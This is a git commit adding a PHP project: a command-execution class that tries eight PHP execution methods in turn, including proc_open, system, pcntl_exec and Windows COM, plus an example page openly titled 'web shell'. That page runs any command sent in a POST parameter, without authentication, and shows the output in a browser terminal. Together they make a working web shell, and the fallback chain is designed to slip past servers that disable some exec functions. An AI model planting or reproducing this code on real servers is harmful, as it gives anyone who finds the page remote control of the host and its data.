feat(项目文件): 添加项目文件

This commit is contained in:
xiaoqidun 2020-08-07 12:11:17 +08:00
parent 25e75ea8a0
commit ed02323e85
4 changed files with 371 additions and 1 deletions

1
.gitignore vendored Normal file

@ -0,0 +1 @@
.idea/

@ -1,2 +1,17 @@
# shell
# 简而言之
大概是PHP最强大的SHELL执行类了
# 系统兼容
PHP 5.4 + (主要是用了中括号数组,改掉中括号数组可以要求更低)
# 使用说明
## 示范代码
```php
<?php
require 'shell.class.php';
$command = "ls /";
echo shell::command($command, "echo pwd", true);
?>
```
## example.php
这是一个使用shell.class.php实现的webshell工具用于shell类演示。
# 授权说明
使用本类库你唯一需要做的就是把LICENSE文件往你用到的项目中拷贝一份。

103
example.php Normal file

@ -0,0 +1,103 @@
<?php
/**
* @author 肖其顿 <xiaoqidun@gmail.com>
*/
$command = isset($_POST['command']) ? strval($_POST['command']) : "";
if ($command !== "") {
require 'shell.class.php';
echo shell::command($command, "echo pwd", true);
exit;
}
?>
<html>
<head>
<title>web shell</title>
<style type="text/css">
.author {
width: 100%;
color: white;
text-align: center;
background-color: black;
}
.commandInput {
width: 100%;
height: 3%;
color: white;
background-color: black;
}
.commandResult {
width: 100%;
height: 75%;
color: white;
overflow: scroll;
background-color: black;
}
.commandHistory {
width: 100%;
height: 15%;
color: white;
overflow: scroll;
background-color: black;
}
</style>
<script type="text/javascript">
function enter() {
if (event.keyCode == 13) {
command();
}
}
function command() {
var commandInput = document.getElementById('commandInput');
if (commandInput.value.length > 0) {
var commandResult = document.getElementById('commandResult');
var commandHistory = document.getElementById('commandHistory');
if (commandHistory.innerHTML.length < 1) {
commandHistory.innerHTML = commandInput.value;
} else {
commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value;
}
commandHistory.scrollTop = commandHistory.scrollHeight;
if (commandInput.value === 'clear') {
commandInput.value = "";
commandResult.innerHTML = "";
commandHistory.innerHTML = "";
return;
}
command_ajax();
}
}
function command_ajax() {
var xmlHttp = new XMLHttpRequest;
var commandInput = document.getElementById('commandInput');
var commandResult = document.getElementById('commandResult');
xmlHttp.open("POST", "?", true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send("command=" + encodeURI(commandInput.value));
commandInput.value = "";
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState === 4 && xmlHttp.status === 200) {
if (commandResult.innerHTML.length < 1) {
commandResult.innerHTML = xmlHttp.responseText;
} else {
commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText;
}
commandResult.scrollTop = commandResult.scrollHeight;
}
}
}
</script>
</head>
<body>
<input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command">
<pre id="commandHistory" class="commandHistory"></pre>
<pre id="commandResult" class="commandResult"></pre>
<div class="author">
CopyRight © 2017-<?= date("Y") + 1 ?> xiaoqidun@gmail.com All Rights Reserved
</div>
</body>
</html>

251
shell.class.php Normal file

@ -0,0 +1,251 @@
<?php
/**
* @author 肖其顿 <xiaoqidun@gmail.com>
*/
class shell
{
public static $version = 'v1.0.0';
public static function Convert($string, $to = 'utf-8', $from = 'auto,cp936')
{
$func = 'mb_convert_encoding';
if (!function_exists($func)) {
return $string;
}
return $func($string, $to, $from);
}
public static function Command($command, $testCommand = null, $convert = false)
{
$typeA = 'proc_open';
$typeB = 'shell_exec';
$typeC = 'exec';
$typeD = 'system';
$typeE = 'passthru';
$typeF = 'popen';
$typeG = 'pcntl_exec';
$typeH = 'com';
$typeRank = [
$typeH,
$typeA,
$typeB,
$typeD,
$typeE,
$typeC,
$typeF,
$typeG
];
if (!is_array($command)) $command = [$command];
if (!is_array($testCommand) && $testCommand !== null) $testCommand = [$testCommand];
$commandFunctions = [
$typeA => [
'command' =>
function ($command) {
$cmd = "exec " . self::GetShellFile();
if (defined('PHP_WINDOWS_VERSION_BUILD')) {
$cmd = self::GetShellFile();
}
if (!is_resource($sh = proc_open($cmd, [
0 =>
["pipe", "r"],
1 =>
["pipe", "w"]
], $pipes))) {
return false;
}
foreach ($command as $commandLine) {
fwrite($pipes[0], $commandLine . PHP_EOL);
}
fclose($pipes[0]);
$result = stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($sh);
return $result;
},
'function' =>
[
'proc_open',
'stream_get_contents'
]
],
$typeB => [
'command' => function ($command) {
$commandResult = "";
foreach ($command as $commandLine) {
$commandResult .= shell_exec($commandLine);
}
return $commandResult;
},
'function' => [
'shell_exec'
]
],
$typeC => [
'command' => function ($command) {
$commandResult = "";
foreach ($command as $commandLine) {
exec($commandLine, $commandOutput);
$commandResult .= implode(PHP_EOL, $commandOutput);
}
return $commandResult;
},
'function' => [
'exec'
]
],
$typeD => [
'command' => function ($command) {
ob_start();
foreach ($command as $commandLine) {
system($commandLine);
}
$commandResult = ob_get_clean();
return $commandResult;
},
'function' => [
'system',
'ob_start',
'ob_get_clean'
]
],
$typeE => [
'command' => function ($command) {
ob_start();
foreach ($command as $commandLine) {
passthru($commandLine);
}
$commandResult = ob_get_clean();
return $commandResult;
},
'function' => [
'passthru',
'ob_start',
'ob_get_clean'
]
],
$typeF => [
'command' => function ($command) {
$commandResult = "";
foreach ($command as $commandLine) {
$p = popen($commandLine, "r");
while (!feof($p)) {
$commandResult .= fgets($p);
}
}
},
'function' => [
'popen'
]
],
$typeG => [
'command' => function ($command) {
$command[] = '';
$outputFile = tempnam(null, 'commandOutput_');
$outputFilePipe = sprintf(" >> %s 2>&1%s", $outputFile, PHP_EOL);
$commandString = implode($outputFilePipe, $command);
$commandProcess = pcntl_fork();
if ($commandProcess == 0) {
pcntl_exec(self::GetShellFile(), ["-c", $commandString]);
}
pcntl_waitpid($commandProcess, $status);
$commandResult = file_get_contents($outputFile);
unlink($outputFile);
return $commandResult;
},
'function' => [
'pcntl_exec',
'pcntl_fork',
'pcntl_waitpid'
]
],
$typeH => [
'command' => function ($command) {
$commandResult = "";
try {
$ws = new \COM("wscript.shell");
$exec = $ws->Exec(self::GetShellFile());
foreach ($command as $commandLine) {
$exec->StdIn->WriteLine("$commandLine");
}
$exec->StdIn->WriteLine("exit");
$exec->StdIn->Close();
while (0 === $exec->Status) {
time_nanosleep(0, 1e8);
}
$commandResult = $exec->StdOut->ReadAll() . $exec->StdErr->ReadAll();
} catch (\Exception $exception) {
}
return $commandResult;
},
'class' => [
'\COM'
]
]
];
foreach ($commandFunctions as $tag => $item) {
if (isset($item['class'])) {
foreach ($item['class'] as $cls) {
if (!class_exists($cls)) {
unset($func);
unset($commandFunctions[$tag]);
}
}
}
if (isset($item['function'])) {
foreach ($item['function'] as $func) {
if (!function_exists($func)) {
unset($func);
unset($commandFunctions[$tag]);
break;
}
unset($func);
}
}
unset($tag);
unset($item);
}
if ($testCommand !== null) {
foreach ($commandFunctions as $tag => $item) {
$commandResult = $item['command']($testCommand);
if (1 > strlen($commandResult)) {
unset($commandFunctions[$tag]);
}
unset($tag);
unset($item);
}
}
foreach ($typeRank as $type) {
if (isset($commandFunctions[$type])) {
$commandReturn = $commandFunctions[$type]['command']($command);
if ($convert) {
return self::Convert($commandReturn);
}
return $commandReturn;
}
unset($type);
}
return false;
}
public static function GetShellFile()
{
$shellFileList = [
'C:\Windows\System32\cmd.exe',
'C:\Windows\SysWOW64\cmd.exe',
'/system/bin/sh',
'/bin/bash',
'/bin/sh'
];
foreach ($shellFileList as $shellFile) {
if (is_executable($shellFile)) {
return $shellFile;
}
}
if (defined('PHP_WINDOWS_VERSION_BUILD')) {
return 'cmd.exe';
}
return 'sh';
}
}